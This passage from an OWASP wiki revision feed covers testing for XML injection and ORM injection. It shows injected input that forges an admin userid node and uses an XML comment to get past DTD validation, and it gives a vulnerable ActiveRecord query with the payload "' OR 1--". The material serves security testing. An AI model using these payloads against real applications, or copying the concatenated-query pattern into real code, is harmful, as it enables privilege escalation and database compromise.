		&amp;lt;mail&amp;gt;s4tan@hell.com&amp;lt;/mail&amp;gt;&amp;lt;userid&amp;gt;0&amp;lt;/userid&amp;gt;&amp;lt;mail&amp;gt;s4tan@hell.com&amp;lt;/mail&amp;gt;&lt;br /&gt;
	&amp;lt;/user&amp;gt; &lt;br /&gt;
&amp;lt;/users&amp;gt;&amp;lt;/nowiki&amp;gt;'''&lt;br /&gt;
&lt;br /&gt;
The resulting XML file is well formed. Furthermore, it is likely that, for the user tony, the value associated with the userid tag is the one appearing last, i.e., 0 (the admin ID). In other words, we have injected a user with administrative privileges.&lt;br /&gt;
&lt;br /&gt;
The only problem is that the userid tag appears twice in the last user node. Often, XML documents are associated with a schema or a DTD and will be rejected if they don't comply with it.&lt;br /&gt;
Let's suppose that the XML document is specified by the following DTD:&lt;br /&gt;
&lt;br /&gt;
 '''&amp;lt;nowiki&amp;gt;&amp;lt;!DOCTYPE users [&lt;br /&gt;
	  &amp;lt;!ELEMENT users (user+) &amp;gt;&lt;br /&gt;
	  &amp;lt;!ELEMENT user (username,password,userid,mail+) &amp;gt;&lt;br /&gt;
	  &amp;lt;!ELEMENT username (#PCDATA) &amp;gt;&lt;br /&gt;
	  &amp;lt;!ELEMENT password (#PCDATA) &amp;gt;&lt;br /&gt;
	  &amp;lt;!ELEMENT userid (#PCDATA) &amp;gt;&lt;br /&gt;
	  &amp;lt;!ELEMENT mail (#PCDATA) &amp;gt;&lt;br /&gt;
]&amp;gt;&amp;lt;/nowiki&amp;gt;'''&lt;br /&gt;
&lt;br /&gt;
Note that the userid node is defined with cardinality 1. In this case, the attack we have shown before (and other simple attacks) will not work, if the XML document is validated against its DTD before any processing occurs.&lt;br /&gt;
&lt;br /&gt;
However, this problem can be solved, if the tester controls the value of some nodes preceding the offending node (userid, in this example). In fact, the tester can comment out such node, by injecting &lt;br /&gt;
a comment start/end sequence:&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
 '''Username: tony'''&lt;br /&gt;
 '''Password: Un6R34kb!e&amp;lt;/password&amp;gt;&amp;lt;!--'''&lt;br /&gt;
 '''E-mail: --&amp;gt;&amp;lt;userid&amp;gt;0&amp;lt;/userid&amp;gt;&amp;lt;mail&amp;gt;s4tan@hell.com'''&lt;br /&gt;
&lt;br /&gt;
In this case, the final XML database is:&lt;br /&gt;
&lt;br /&gt;
 '''&amp;lt;nowiki&amp;gt;&amp;lt;?xml version=&amp;quot;1.0&amp;quot; encoding=&amp;quot;ISO-8859-1&amp;quot;?&amp;gt; &lt;br /&gt;
&amp;lt;users&amp;gt; &lt;br /&gt;
	&amp;lt;user&amp;gt; &lt;br /&gt;
		&amp;lt;username&amp;gt;gandalf&amp;lt;/username&amp;gt; &lt;br /&gt;
		&amp;lt;password&amp;gt;!c3&amp;lt;/password&amp;gt; &lt;br /&gt;
		&amp;lt;userid&amp;gt;0&amp;lt;/userid&amp;gt;&lt;br /&gt;
		&amp;lt;mail&amp;gt;gandalf@middleearth.com&amp;lt;/mail&amp;gt;&lt;br /&gt;
	&amp;lt;/user&amp;gt; &lt;br /&gt;
	&amp;lt;user&amp;gt; &lt;br /&gt;
		&amp;lt;username&amp;gt;Stefan0&amp;lt;/username&amp;gt; &lt;br /&gt;
		&amp;lt;password&amp;gt;w1s3c&amp;lt;/password&amp;gt; &lt;br /&gt;
		&amp;lt;userid&amp;gt;500&amp;lt;/userid&amp;gt;&lt;br /&gt;
		&amp;lt;mail&amp;gt;Stefan0@whysec.hmm&amp;lt;/mail&amp;gt;&lt;br /&gt;
	&amp;lt;/user&amp;gt; &lt;br /&gt;
	&amp;lt;user&amp;gt; &lt;br /&gt;
		&amp;lt;username&amp;gt;tony&amp;lt;/username&amp;gt; &lt;br /&gt;
		&amp;lt;password&amp;gt;Un6R34kb!e&amp;lt;/password&amp;gt;&amp;lt;!--&amp;lt;/password&amp;gt; &lt;br /&gt;
		&amp;lt;userid&amp;gt;500&amp;lt;/userid&amp;gt;&lt;br /&gt;
		&amp;lt;mail&amp;gt;--&amp;gt;&amp;lt;userid&amp;gt;0&amp;lt;/userid&amp;gt;&amp;lt;mail&amp;gt;s4tan@hell.com&amp;lt;/mail&amp;gt;&lt;br /&gt;
	&amp;lt;/user&amp;gt;&lt;br /&gt;
&amp;lt;/users&amp;gt;&amp;lt;/nowiki&amp;gt;'''&lt;br /&gt;
&lt;br /&gt;
The original ''userid'' node has been commented out, leaving only the injected one. The document now complies with its DTD rules.&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== References ==&lt;br /&gt;
'''Whitepapers'''&amp;lt;br&amp;gt;&lt;br /&gt;
* [1] Alex Stamos: &amp;quot;Attacking Web Services&amp;quot; - http://www.owasp.org/images/d/d1/AppSec2005DC-Alex_Stamos-Attacking_Web_Services.ppt&amp;lt;br&amp;gt;&lt;br /&gt;
* Gregory Steuck, &amp;quot;XXE (Xml eXternal Entity) attack&amp;quot;, http://www.securityfocus.com/archive/1/297714&lt;/div&gt;</summary>
		<author><name>Namn</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=Testing_for_ORM_Injection_(OTG-INPVAL-007)&amp;diff=38709</id>
		<title>Testing for ORM Injection (OTG-INPVAL-007)</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=Testing_for_ORM_Injection_(OTG-INPVAL-007)&amp;diff=38709"/>
				<updated>2008-09-07T05:10:32Z</updated>
		
		<summary type="html">&lt;p&gt;Namn: /* Gray Box testing and example */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;{{Template:OWASP Testing Guide v3}}&lt;br /&gt;
&lt;br /&gt;
== Brief Summary == &lt;br /&gt;
ORM Injection is an attack using SQL Injection against an ORM generated data access object model.  From the point of view of a tester, this attack is virtually identical to a SQL Injection attack.  However, the injection vulnerability exists in code generated by the ORM tool. &lt;br /&gt;
&lt;br /&gt;
== Description ==&lt;br /&gt;
An ORM is an Object Relational Mapping tool.  It is used to expedite object oriented development within the data access layer of software applications, including web applications.  The benefits of using an ORM tool include quick generation of an object layer to communicate to a relational database, standardized code templates for these objects and usually a set of safe functions to protect against SQL Injection attacks.  ORM generated objects can use SQL or in some cases a variant of SQL to perform CRUD (Create, Read, Update, Delete) operations on a database.   It is possible, however, for a web application using ORM generated objects to be vulnerable to SQL Injection attacks if methods can accept unsanitized input parameters.&lt;br /&gt;
&lt;br /&gt;
ORM tools include Hibernate for Java, NHibernate for .NET, ActiveRecord for Ruby on Rails, EZPDO for PHP and many others. For a reasonably comprehensive list of ORM tools, see http://en.wikipedia.org/wiki/List_of_object-relational_mapping_software&lt;br /&gt;
&lt;br /&gt;
== Black Box testing and example ==&lt;br /&gt;
Blackbox testing for ORM Injection vulnerabilities is identical to SQL Injection testing see [http://www.owasp.org/index.php/Testing_for_SQL_Injection Testing for SQL_Injection].  In most cases, the vulnerability in the ORM layer is a result of customized code that does not properly validate input parameters.  Most ORM tools provide safe functions to escape user input.  However, if these functions are not used and the developer uses custom functions that accept user input, it may be possible to execute a SQL injection attack.&lt;br /&gt;
&lt;br /&gt;
== Gray Box testing and example == &lt;br /&gt;
If a tester has access to the source code for a web application, or can discover vulnerabilities of an ORM tool and tests web applications that use this tool, there is a higher probability of successfully attacking the application.  Patterns to look for in code include:&lt;br /&gt;
&lt;br /&gt;
* Input parameters concatenated with SQL strings. This code that uses ActiveRecord for Ruby on Rails is vulnerable (though any ORM can be vulnerable)&lt;br /&gt;
&lt;br /&gt;
 Orders.find_all &amp;quot;customer_id = 123 AND order_date = '#{@params['order_date']}'&amp;quot;&lt;br /&gt;
&lt;br /&gt;
Simply sending &amp;quot;' OR 1--&amp;quot; in the form where order date can be entered can yield positive results.&lt;br /&gt;
&lt;br /&gt;
== References ==&lt;br /&gt;
'''Whitepapers'''&amp;lt;br&amp;gt;&lt;br /&gt;
* [[Testing for SQL Injection#References|References from Testing for SQL Injection]] are applicable to ORM Injection &lt;br /&gt;
* Wikipedia - ORM http://en.wikipedia.org/wiki/Object-relational_mapping&amp;lt;br&amp;gt;&lt;br /&gt;
* [[Interpreter Injection#ORM Injection|OWASP Interpreter Injection]]&lt;br /&gt;
&lt;br /&gt;
'''Tools''' &amp;lt;br&amp;gt;&lt;br /&gt;
* Ruby On Rails - ActiveRecord and SQL Injection http://manuals.rubyonrails.com/read/chapter/43 &amp;lt;br&amp;gt;&lt;br /&gt;
* Hibernate http://www.hibernate.org&amp;lt;br&amp;gt;&lt;br /&gt;
* NHibernate http://www.nhibernate.org&amp;lt;br&amp;gt;&lt;br /&gt;
* Also, see [[Testing for SQL Injection#References|SQL Injection References]]&amp;lt;br&amp;gt;&lt;/div&gt;</summary>
		<author><name>Namn</name></author>	</entry>

	</feed>